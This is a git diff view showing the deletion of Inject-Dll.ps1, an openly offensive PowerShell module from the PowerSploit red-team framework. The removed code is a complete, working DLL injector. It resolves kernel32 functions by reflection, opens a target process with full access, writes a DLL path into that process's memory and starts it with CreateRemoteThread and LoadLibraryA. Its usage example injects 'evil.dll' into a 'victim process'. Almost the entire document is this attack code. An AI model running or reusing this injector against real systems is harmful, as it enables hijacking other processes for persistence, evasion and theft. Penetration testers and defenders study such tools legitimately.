aboutsummaryrefslogtreecommitdiff
path: root/Inject-Dll.ps1
diff options
context:
space:
mode:
Diffstat (limited to 'Inject-Dll.ps1')
-rw-r--r--Inject-Dll.ps1326
1 files changed, 0 insertions, 326 deletions
diff --git a/Inject-Dll.ps1 b/Inject-Dll.ps1
deleted file mode 100644
index ead4753..0000000
--- a/Inject-Dll.ps1
+++ /dev/null
@@ -1,326 +0,0 @@
-function Inject-Dll {
-
-<#
-.SYNOPSIS
-
- PowerSploit Module - Inject-Dll
- Author: Matthew Graeber (@mattifestation)
- License: BSD 3-Clause
-
-.DESCRIPTION
-
- Inject-Dll injects a Dll into the process ID of your choosing.
-
-.PARAMETER ProcessID
-
- Process ID of the process you want to inject a Dll into.
-
-.PARAMETER Dll
-
- Name of the dll to inject. This can be an absolute or relative path.
-
-.EXAMPLE
-
- C:\PS> Inject-DLL -ProcessID 4274 -Dll evil.dll
-
- Description
- -----------
- Inject 'evil.dll' into process ID 4274.
-
-.NOTES
-
- Use the '-Verbose' option to print detailed information.
-
-.LINK
-
- http://www.exploit-monday.com
-#>
-
- Param (
- [Parameter( Position = 0,
- Mandatory = $True )]
- [Int]
- $ProcessID,
-
- [Parameter( Position = 1,
- Mandatory = $True )]
- [String]
- $Dll
- )
-
- # Confirm that the process you want to inject into exists
- try
- {
- Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
- }
- catch [System.Management.Automation.ActionPreferenceStopException]
- {
- Throw "Process does not exist!"
- }
-
- # Confirm that the path to the dll exists
- try
- {
- $Dll = (Resolve-Path $Dll -ErrorAction Stop).Path
- Write-Verbose "Full path to Dll: $Dll"
- $AsciiEncoder = New-Object System.Text.ASCIIEncoding
- # Save the name of the dll in an ascii-encoded format. This name will be injected into the remote process.
- $DllByteArray = $AsciiEncoder.GetBytes($Dll)
- }
- catch [System.Management.Automation.ActionPreferenceStopException]
- {
- Throw "Invalid Dll path!"
- }
-
- function Local:Get-DelegateType
- {
- Param
- (
- [OutputType([Type])]
-
- [Parameter( Position = 0)]
- [Type[]]
- $Parameters = (New-Object Type[](0)),
-
- [Parameter( Position = 1 )]
- [Type]
- $ReturnType = [Void]
- )
-
- $Domain = [AppDomain]::CurrentDomain
- $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
- $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
- $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
- $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
- $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
- $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
- $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
- $MethodBuilder.SetImplementationFlags('Runtime, Managed')
-
- Write-Output $TypeBuilder.CreateType()
- }
-
- function Local:Get-ProcAddress
- {
- Param
- (
- [OutputType([IntPtr])]
-
- [Parameter( Position = 0, Mandatory = $True )]
- [String]
- $Module,
-
- [Parameter( Position = 1, Mandatory = $True )]
- [String]
- $Procedure
- )
-
- # Get a reference to System.dll in the GAC
- $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
- Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
- $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
- # Get a reference to the GetModuleHandle and GetProcAddress methods
- $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
- $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
- # Get a handle to the module specified
- $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
- $tmpPtr = New-Object IntPtr
- $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
-
- # Return the address of the function
- Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
- }
-
- function Local:Get-PEArchitecture
- {
- Param
- (
- [Parameter( Position = 0,
- Mandatory = $True )]
- [String]
- $Path
- )
-
- # Parse PE header to see if binary was compiled 32 or 64-bit
- $FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
-
- [Byte[]] $MZHeader = New-Object Byte[](2)
- $FileStream.Read($MZHeader,0,2) | Out-Null
-
- $Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)
- if ($Header -ne 'MZ')
- {
- $FileStream.Close()
- Throw 'Invalid PE header.'
- }
-
- # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
- $FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null
-
- [Byte[]] $lfanew = New-Object Byte[](4)
-
- # Read offset to the PE Header (will be read in reverse)
- $FileStream.Read($lfanew,0,4) | Out-Null
- $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join ''))
-
- # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
- $FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
- [Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2)
-
- # Read compiled architecture
- $FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null
- $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '')
- $FileStream.Close()
-
- if (($Architecture -ne '014C') -and ($Architecture -ne '8664'))
- {
- Throw 'Invalid PE header or unsupported architecture.'
- }
-
- if ($Architecture -eq '014C')
- {
- Write-Output 'X86'
- }
- elseif ($Architecture -eq '8664')
- {
- Write-Output 'X64'
- }
- else
- {
- Write-Output 'OTHER'
- }
- }
-
-
- # Get addresses of and declare delegates for essential Win32 functions.
- $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
- $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
- $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
- $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
- $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
- $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
- $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
- $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32]) ([Bool])
- $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
- $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
- $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
- $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
- $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
- $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
- $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
- $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
- $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
- $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
-
- # Assume CPU to be 64-bit unless determined otherwise.
- $64bitCPU = $True
-
- # Determine the bitness of the running PowerShell process based upon the size of the IntPtr type.
- if ([IntPtr]::Size -eq 4)
- {
- $PowerShell32bit = $True
- }
- else
- {
- $PowerShell32bit = $False
- }
-
- # The address for IsWow64Process will be returned if and only if running on a 64-bit CPU. Otherwise, Get-ProcAddress will return $null.
- $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
-
- if ($IsWow64ProcessAddr)
- {
- $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
- $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
- }
- else
- {
- # IsWow64Process does not exist and thus, the CPU is not 64-bit.
- $64bitCPU = $False
- }
-
- # Open a handle to the process you want to inject into
- $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
-
- if (!$hProcess)
- {
- THrow 'Unable to open process handle.'
- }
-
- $Architecture = Get-PEArchitecture $Dll
-
- if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
- {
- if ( ($Architecture -ne 'X86') -and ($Architecture -ne 'X64') )
- {
- Throw 'Only x86 or AMD64 architechtures supported.'
- }
-
- # Determine is the process specified is 32 or 64 bit. Assume that it is 64-bit unless determined otherwise.
- $IsWow64 = $False
- $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
-
- if ( $PowerShell32bit -and ($Architecture -eq 'X64') )
- {
- Throw 'You cannot manipulate 64-bit code within 32-bit PowerShell. Open the 64-bit version and try again.'
- }
-
- if ( (!$IsWow64) -and ($Architecture -eq 'X86') )
- {
- Throw 'You cannot inject a 32-bit DLL into a 64-bit process.'
- }
-
- if ( $IsWow64 -and ($Architecture -eq 'X64') )
- {
- Throw 'You cannot inject a 64-bit DLL into a 32-bit process.'
- }
- }
- else
- {
- if ($Architecture -ne 'X86')
- {
- Throw 'PE file was not compiled for x86.'
- }
- }
-
- # Get address of LoadLibraryA function
- $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
- Write-Verbose "LoadLibrary address: 0x$($LoadLibraryAddr.ToString("X$([IntPtr]::Size*2)"))"
-
- # Reserve and commit memory to hold name of dll
- $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Dll.Length, 0x3000, 4) # (0x3000 = Reserve|Commit, 4 = RW)
- if ($RemoteMemAddr -eq [IntPtr]::Zero)
- {
- Throw 'Unable to allocate memory in remote process.'
- }
- Write-Verbose "DLL path memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
-
- # Write the name of the dll to the remote process address space
- $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $DllByteArray, $Dll.Length, [Ref] 0) | Out-Null
- Write-Verbose "Dll path written sucessfully."
-
- # Execute dll as a remote thread
- $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $LoadLibraryAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
- if (!$ThreadHandle)
- {
- Throw 'Unable to launch remote thread.'
- }
-
- $VirtualFreeEx.Invoke($hProcess, $RemoteMemAddr, $Dll.Length, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
-
- # Close process handle
- $CloseHandle.Invoke($hProcess) | Out-Null
-
- Write-Verbose 'Dll injection complete!'
-
- # Extract just the filename from the provided path to the dll.
- $FileName = Split-Path $Dll -Leaf
- $DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.Contains($FileName) } | fl * | Out-String
-
- if (!$DllInfo)
- {
- Throw "Dll did dot inject properly into the victim process."
- }
-
- Write-Verbose "Injected DLL information:$($DllInfo)"
-} \ No newline at end of file